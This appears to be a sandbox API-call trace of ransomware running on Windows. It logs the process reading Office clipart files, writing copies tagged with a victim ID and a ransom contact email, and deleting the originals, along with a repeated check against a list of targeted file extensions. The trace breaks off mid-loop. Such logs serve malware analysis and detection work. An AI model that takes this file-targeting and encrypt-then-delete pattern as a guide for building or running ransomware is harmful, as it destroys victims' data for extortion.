	[0083.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0083.986] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.986] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0083.986] GetLastError () returned 0x0
	[0083.986] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x6906, lpOverlapped=0x0) returned 1
	[0084.003] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x6910, lpOverlapped=0x0) returned 1
	[0084.005] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.005] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.005] SetEndOfFile (hFile=0x300) returned 1
	[0084.006] CloseHandle (hObject=0x300) returned 1
	[0084.007] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.007] SetEndOfFile (hFile=0x324) returned 1
	[0084.009] CloseHandle (hObject=0x324) returned 1
	[0084.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1
	[0084.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.009] lstrlenW (lpString=".doc") returned 4
	[0084.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.009] lstrlenW (lpString=".docx") returned 5
	[0084.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.010] lstrlenW (lpString=".pdf") returned 4
	[0084.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.010] lstrlenW (lpString=".xls") returned 4
	[0084.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.010] lstrlenW (lpString=".xlsx") returned 5
	[0084.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.010] lstrlenW (lpString=".ppt") returned 4
	[0084.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.010] lstrlenW (lpString=".zip") returned 4
	[0084.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.010] lstrlenW (lpString=".rar") returned 4
	[0084.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.010] lstrlenW (lpString=".bz2") returned 4
	[0084.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.010] lstrlenW (lpString=".7z") returned 3
	[0084.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.010] lstrlenW (lpString=".dbf") returned 4
	[0084.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.010] lstrlenW (lpString=".1cd") returned 4
	[0084.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.010] lstrlenW (lpString=".jpg") returned 4
	[0084.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.011] lstrlenW (lpString=".doc") returned 4
	[0084.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.011] lstrlenW (lpString=".docx") returned 5
	[0084.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.011] lstrlenW (lpString=".pdf") returned 4
	[0084.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.011] lstrlenW (lpString=".xls") returned 4
	[0084.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.011] lstrlenW (lpString=".xlsx") returned 5
	[0084.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.011] lstrlenW (lpString=".ppt") returned 4
	[0084.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.011] lstrlenW (lpString=".zip") returned 4
	[0084.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.011] lstrlenW (lpString=".rar") returned 4
	[0084.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.011] lstrlenW (lpString=".bz2") returned 4
	[0084.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.011] lstrlenW (lpString=".7z") returned 3
	[0084.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.011] lstrlenW (lpString=".dbf") returned 4
	[0084.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.012] lstrlenW (lpString=".1cd") returned 4
	[0084.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0084.012] lstrlenW (lpString=".jpg") returned 4
	[0084.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.012] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.012] lstrlenW (lpString="BD00155_.WMF") returned 12
	[0084.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.012] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=11636) returned 1
	[0084.012] CloseHandle (hObject=0x324) returned 1
	[0084.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220
	[0084.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.013] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.013] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.013] GetLastError () returned 0x0
	[0084.013] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x2d74, lpOverlapped=0x0) returned 1
	[0084.444] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0084.475] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.475] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.475] SetEndOfFile (hFile=0x300) returned 1
	[0084.475] CloseHandle (hObject=0x300) returned 1
	[0084.476] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.476] SetEndOfFile (hFile=0x324) returned 1
	[0084.477] CloseHandle (hObject=0x324) returned 1
	[0084.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1
	[0084.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.478] lstrlenW (lpString=".doc") returned 4
	[0084.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.478] lstrlenW (lpString=".docx") returned 5
	[0084.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.478] lstrlenW (lpString=".pdf") returned 4
	[0084.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.478] lstrlenW (lpString=".xls") returned 4
	[0084.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.478] lstrlenW (lpString=".xlsx") returned 5
	[0084.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.478] lstrlenW (lpString=".ppt") returned 4
	[0084.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.479] lstrlenW (lpString=".zip") returned 4
	[0084.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.479] lstrlenW (lpString=".rar") returned 4
	[0084.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString=".bz2") returned 4
	[0084.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString=".7z") returned 3
	[0084.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.479] lstrlenW (lpString=".dbf") returned 4
	[0084.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.479] lstrlenW (lpString=".1cd") returned 4
	[0084.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.479] lstrlenW (lpString=".jpg") returned 4
	[0084.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.479] lstrlenW (lpString=".doc") returned 4
	[0084.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString=".docx") returned 5
	[0084.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.479] lstrlenW (lpString=".pdf") returned 4
	[0084.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString=".xls") returned 4
	[0084.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.479] lstrlenW (lpString=".xlsx") returned 5
	[0084.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.479] lstrlenW (lpString=".ppt") returned 4
	[0084.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.480] lstrlenW (lpString=".zip") returned 4
	[0084.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.480] lstrlenW (lpString=".rar") returned 4
	[0084.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.480] lstrlenW (lpString=".bz2") returned 4
	[0084.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.480] lstrlenW (lpString=".7z") returned 3
	[0084.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.480] lstrlenW (lpString=".dbf") returned 4
	[0084.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.480] lstrlenW (lpString=".1cd") returned 4
	[0084.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0084.480] lstrlenW (lpString=".jpg") returned 4
	[0084.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.480] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.480] lstrlenW (lpString="BD08758_.WMF") returned 12
	[0084.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.480] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=24320) returned 1
	[0084.481] CloseHandle (hObject=0x324) returned 1
	[0084.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220
	[0084.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.481] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.481] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.481] GetLastError () returned 0x0
	[0084.481] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x5f00, lpOverlapped=0x0) returned 1
	[0084.483] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x5f10, lpOverlapped=0x0) returned 1
	[0084.484] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.484] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.485] SetEndOfFile (hFile=0x300) returned 1
	[0084.485] CloseHandle (hObject=0x300) returned 1
	[0084.486] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.486] SetEndOfFile (hFile=0x324) returned 1
	[0084.487] CloseHandle (hObject=0x324) returned 1
	[0084.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1
	[0084.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.488] lstrlenW (lpString=".doc") returned 4
	[0084.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.488] lstrlenW (lpString=".docx") returned 5
	[0084.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.488] lstrlenW (lpString=".pdf") returned 4
	[0084.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.488] lstrlenW (lpString=".xls") returned 4
	[0084.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.488] lstrlenW (lpString=".xlsx") returned 5
	[0084.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.488] lstrlenW (lpString=".ppt") returned 4
	[0084.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.488] lstrlenW (lpString=".zip") returned 4
	[0084.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.488] lstrlenW (lpString=".rar") returned 4
	[0084.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.488] lstrlenW (lpString=".bz2") returned 4
	[0084.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.488] lstrlenW (lpString=".7z") returned 3
	[0084.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.488] lstrlenW (lpString=".dbf") returned 4
	[0084.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.488] lstrlenW (lpString=".1cd") returned 4
	[0084.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.488] lstrlenW (lpString=".jpg") returned 4
	[0084.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.489] lstrlenW (lpString=".doc") returned 4
	[0084.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString=".docx") returned 5
	[0084.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.489] lstrlenW (lpString=".pdf") returned 4
	[0084.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString=".xls") returned 4
	[0084.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.489] lstrlenW (lpString=".xlsx") returned 5
	[0084.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.489] lstrlenW (lpString=".ppt") returned 4
	[0084.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.489] lstrlenW (lpString=".zip") returned 4
	[0084.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.489] lstrlenW (lpString=".rar") returned 4
	[0084.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString=".bz2") returned 4
	[0084.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString=".7z") returned 3
	[0084.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.489] lstrlenW (lpString=".dbf") returned 4
	[0084.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.489] lstrlenW (lpString=".1cd") returned 4
	[0084.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0084.489] lstrlenW (lpString=".jpg") returned 4
	[0084.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.489] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.490] lstrlenW (lpString="BD08773_.WMF") returned 12
	[0084.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.490] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=24778) returned 1
	[0084.490] CloseHandle (hObject=0x324) returned 1
